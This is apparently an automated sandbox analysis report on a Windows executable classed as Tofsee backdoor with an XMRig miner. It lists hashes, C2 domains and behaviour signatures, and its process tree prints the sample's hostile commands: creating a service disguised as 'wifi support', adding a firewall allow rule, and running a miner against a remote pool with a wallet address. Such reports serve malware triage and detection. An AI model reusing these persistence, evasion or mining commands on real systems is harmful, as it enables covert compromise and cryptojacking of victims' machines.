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Overview

overview

10

Static

static

1

8bfa1accff...45.exe

windows7-x64

10

8bfa1accff...45.exe

windows10-2004-x64

10

Resubmissions

08/05/2023, 12:04

230508-n83alscc6v 10

14/02/2023, 12:24

230214-pljenacf6s 1

14/02/2023, 12:00

230214-n6rq4adb47 10

14/02/2023, 11:52

230214-n1s2zace3s 10

24/01/2023, 09:45

230124-lrfn6sad97 10

Analysis

  • max time kernel
    153s
  • max time network
    160s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    14/02/2023, 11:52

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General

  • Target

    8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe

  • Size

    232KB

  • MD5

    f6254a206b59207201f38f69fb018932

  • SHA1

    4109d2edf584ce7f8104410eaa02ddae1aa37117

  • SHA256

    8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45

  • SHA512

    bf6ab8ed99b730a364affed3f341387d82a5fed4ae052f4e897726adae2e963182083a3ba6fa52dfa6f2bd9cc9c3b92643279f46bebf931288545938da5a01b6

  • SSDEEP

    3072:aIGGLok59Gt+ECvLFwyvBnlS1g/tK8MJ2LJDhzLrcSb54VIcVTuh:TLoYC+rK+ztK8MY3bIr

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe
    "C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1268
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\uptzqqc\
      2⤵
        PID:2024
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jvesrnwb.exe" C:\Windows\SysWOW64\uptzqqc\
        2⤵
          PID:652
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create uptzqqc binPath= "C:\Windows\SysWOW64\uptzqqc\jvesrnwb.exe /d\"C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:668
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description uptzqqc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1692
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start uptzqqc
          2⤵
          • Launches sc.exe
          PID:1760
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1484
      • C:\Windows\SysWOW64\uptzqqc\jvesrnwb.exe
        C:\Windows\SysWOW64\uptzqqc\jvesrnwb.exe /d"C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1636
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1564
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2020

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\jvesrnwb.exe
        Filesize

        14.5MB

        MD5

        f28c3bb3bc1367f24ee44d84049cfdf8

        SHA1

        e83883f39cf1c8bdf7e65b328e25e96787a3027d

        SHA256

        46cfa75d64d53fb8d01729cc5d93526dc4ccd05bde763e3ddc94de50ec95ce09

        SHA512

        483a25c5d4fe351bc354fd95b1d05ceecbda7156629e1212893cfb54f4e1b86780413eee778fb36f0eb0c2b72fcb3756262f4c5b3a75c9c384a1053ec20294a3

        Download Submit

      • C:\Windows\SysWOW64\uptzqqc\jvesrnwb.exe
        Filesize

        14.5MB

        MD5

        f28c3bb3bc1367f24ee44d84049cfdf8

        SHA1

        e83883f39cf1c8bdf7e65b328e25e96787a3027d

        SHA256

        46cfa75d64d53fb8d01729cc5d93526dc4ccd05bde763e3ddc94de50ec95ce09

        SHA512

        483a25c5d4fe351bc354fd95b1d05ceecbda7156629e1212893cfb54f4e1b86780413eee778fb36f0eb0c2b72fcb3756262f4c5b3a75c9c384a1053ec20294a3

        Download Submit

      • memory/1268-66-0x000000000063B000-0x000000000064C000-memory.dmp

        Filesize

        68KB

        Download

      • memory/1268-54-0x0000000076531000-0x0000000076533000-memory.dmp

        Filesize

        8KB

        Download

      • memory/1268-58-0x0000000000400000-0x000000000045E000-memory.dmp

        Filesize

        376KB

        Download

      • memory/1268-57-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

        Download

      • memory/1268-56-0x000000000063B000-0x000000000064C000-memory.dmp

        Filesize

        68KB

        Download

      • memory/1268-67-0x0000000000400000-0x000000000045E000-memory.dmp

        Filesize

        376KB

        Download

      • memory/1564-72-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1564-80-0x00000000019A0000-0x0000000001BAF000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/1564-98-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1564-95-0x0000000000300000-0x0000000000307000-memory.dmp

        Filesize

        28KB

        Download

      • memory/1564-70-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1564-92-0x0000000005580000-0x000000000598B000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/1564-89-0x0000000000280000-0x0000000000285000-memory.dmp

        Filesize

        20KB

        Download

      • memory/1564-79-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1564-83-0x0000000000220000-0x0000000000226000-memory.dmp

        Filesize

        24KB

        Download

      • memory/1564-86-0x0000000000230000-0x0000000000240000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1636-77-0x0000000000400000-0x000000000045E000-memory.dmp

        Filesize

        376KB

        Download

      • memory/1636-76-0x000000000056B000-0x000000000057C000-memory.dmp

        Filesize

        68KB

        Download

      • memory/2020-99-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

        Download

      • memory/2020-101-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

        Download